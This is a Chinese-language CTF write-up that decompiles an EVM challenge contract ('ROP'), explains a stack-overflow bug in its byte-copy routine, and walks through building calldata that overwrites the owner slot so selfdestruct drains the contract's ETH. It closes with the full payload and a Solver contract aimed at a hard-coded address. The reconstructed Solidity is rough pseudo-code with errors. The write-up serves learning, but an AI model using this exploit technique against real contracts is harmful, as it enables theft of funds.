0x221: JUMP      				0x7909947a framePointer 0x222
0x222: JUMPDEST  				0x7909947a framePointer returnValue2
0x223: POP       				0x7909947a framePointer 
0x224: PUSH2     0x22b			0x7909947a framePointer 0x22b
0x227: PUSH2     0x9b			0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP      				0x7909947a framePointer 0x22b
0x22b: JUMPDEST  				0x7909947a framePointer returnValue3
0x22c: POP       				0x7909947a framePointer 
0x22d: PUSH2     0x234			0x7909947a framePointer 0x234
0x230: PUSH2     0x9b			0x7909947a framePointer 0x234 0x9b
0x233: JUMP      				0x7909947a framePointer 0x234
0x234: JUMPDEST  				0x7909947a framePointer returnValue3
0x235: POP       				0x7909947a framePointer 
0x236: PUSH2     0xc3			0x7909947a framePointer 0xc3
0x239: JUMP      				0x7909947a framePointer 

=> 翻译一下
function 0x7909947a_impl() public {
	push_stack(0x0);
	copy_data();
	uint temp = get_stack(0) + get_stack(2);
	assembly{
		mstore(temp, 0x00)
	}
	pad_data();
	pop_stack();
	pop_stack();
	pop_stack();
	pop_stack();
	pop_stack_frame();
}
function pad_data() private {
	while (get_stack(0) % 0x40 != 0) {
		uint temp0 = get_stack(0);
		uint temp2 = get_stack(2);
		assembly {
            mstore(temp0+temp2, 0x00)
            mstore(mload(0x100), add(temp0, 0x01))
		}
	}
}
function copy_data() private {
	while (get_stack(0) - get_stack(1) != 0) {
		uint temp0 = get_stack(0);
		uint temp2 = get_stack(2);
		uint temp3 = get_stack(3);
		assembly {
            let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
		}
	}
}
function get_stack(uint i) private returns (uint256 value){
	//helper M[M[0x100+0x20*i]]
	assembly {
		let temp := mload(0x100)
		let temp2 := sub(temp, mul(0x20, i))
		value := mload(temp2)
	}
}

:cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。

0x00 0x200 get_stack(0)
size-0x44 0x1e0 get_stack(1)
0x0120 0x1c0 get_stack(2)
0x90000 0x1a0 get_stack(3)
return pointer 0x180 get_stack(4)
stack frme 0x7909947a() 0x160 get_stack(5)
0x00 0x140 get_stack(6)
0x00 0x120 get_stack(7)

copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。

paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80.

则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。

:crossed_fingers:solidity代码整理

由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑

pragma solidity ^0.5.0;

contract ROP {
	address _get;
	address _die;

    constructor(address get_, address die_) public payable {
        _get = get_;
        _die = die_;
    }

	function die() public payable { 
        require(msg.sender == _die);
        selfdestruct(_die);
    }
    function get() public { 
        require(msg.sender != _get);
        return _get;
    }
    function() public payable { 
        revert();
    }
    modifier nonPayable() {
        require(msg.value == 0);
        _;
    }
    function push_stack_frame() private {
        uint256 value;
        assembly{
            value := mload(0x100)
        }
        push_stack(value)
    } 
    function push_stack(uint256 value) private {
        uint temp;
        assembly{
            temp := mload(0x100)
            mstore(add(temp, 0x20), value)
            mstore(0x100, add(temp, 0x20))
        }
    }
    function set_impl() private{
        uint temp0;
        uint temp1
        assembly{
            temp0 := mload(0x100) //M[100]
            temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
            sstore(mload(temp0), temp1)
        }
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        // assembly {
        //     jump(redirectTo)
        // }
        return;
    }
    function stack_pointer_init() private {
        assembly{
            mstore(0x100, 0x100)
        }
    }
    
    function pad_data() private {
        while (get_stack(0) % 0x40 != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            assembly {
                mstore(temp0+temp2, 0x00)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function copy_data() private {
        while (get_stack(0) - get_stack(1) != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            uint temp3 = get_stack(3);
            assembly {
                let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
                let temp_key := add(temp0, temp2)
                mstore8(temp_key, temp_val)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function get_stack(uint i) private returns (uint256 value){
        //helper M[M[0x100+0x20*i]]
        assembly {
            let temp := mload(0x100)
            let temp2 := sub(temp, mul(0x20, i))
            value := mload(temp2)
        }
    }
    function 0x7909947a_impl() private {
        push_stack(0x0);
        copy_data();
        uint temp = get_stack(0) + get_stack(2);
        assembly{
            mstore(temp, 0x00)
        }
        pad_data();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function set(uint256 value) public nonPayable{
        push_stack_frame();
        uint redirectTo = 0x344;
        push_stack(redirectTo);
        uint256 newStackPointer;
        assembly{
            newStackPointer := calldataload(0x04)
        }
        push_stack(newStackPointer);
        push_stack(0x00);
        set_impl();
    }
    function 0x7909947a() public {
        stack_pointer_init();
        push_stack(0x0);
        uint topPointer;
        assembly{
            topPointer := mload(0x100)
        }
        push_stack(0x0);
        uint size;
        assembly {
            size := calldatasize()
            calldatacopy(0x90000, 0x44, size)
        }
        push_stack_frame();
        uint return_pointer = 0x29b;
        push_stack(return_pointer);
        push_stack(0x90000);
        push_stack(topPointer);
        push_stack(size-0x44);
        0x7909947a_impl();
    }
}

:necktie: 问题分析

合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢?

思路很直接,肯定是利用die函数,但是die函数要求msg.sender == die_, 因此需要重写全局变量die_的值。又发现唯一一个能写全局变量的值的函数是set_impl().分析set_impl()函数,其实质是将get_stack(1)的值写入get_stack(0)处。故我们需要构造一个stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin 以及为了使用pop_stack_frame()函数,需要保证一个返回位点位于get_stack(3)==return gadget

同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a函数,传入data,然后再内部调用0x7909947a_impl()函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()函数中,拷贝数据的逻辑由copydata确定。故我们需要根据copydata的逻辑来构造我们的data数据。

0x260 0x20
0x240 address(msg.sender)
0x220 return point (0x344)
0x00 0x200 0xff (当前拷贝的值的位置,offset)
size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff.

第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,mstore(mload(0x100), add(temp0, 0x01))这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。

function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}

所以构造的数据为:此时还需要加上前面被略去的0x44个字节

7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260

:haircut_man: 验证数据

好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:

function 0x7909947a_impl() private {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

经过copydata, 之后跳过pad_data部分,弹出4个,进入到pop_stack_frame()中,此时的栈结构为:

size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

然后再经过pop_stack_frame()后,栈的结构变为:

function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        assembly {
            jump(redirectTo)
        }
        //return;
    }
get_stack(0) 90140 0x20
get_stack(1) 90120 address(msg.sender)
get_stack(2) 90100 return point (0x344)

同时函数跳转到0x2ea位置处,即set_impl()处,此刻即构造成功了我们需要的栈。

function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:haircut_woman: 解决方案:

由此,我们最后的解决方案如下:

//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address) ;
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}

相关文章

0 条评论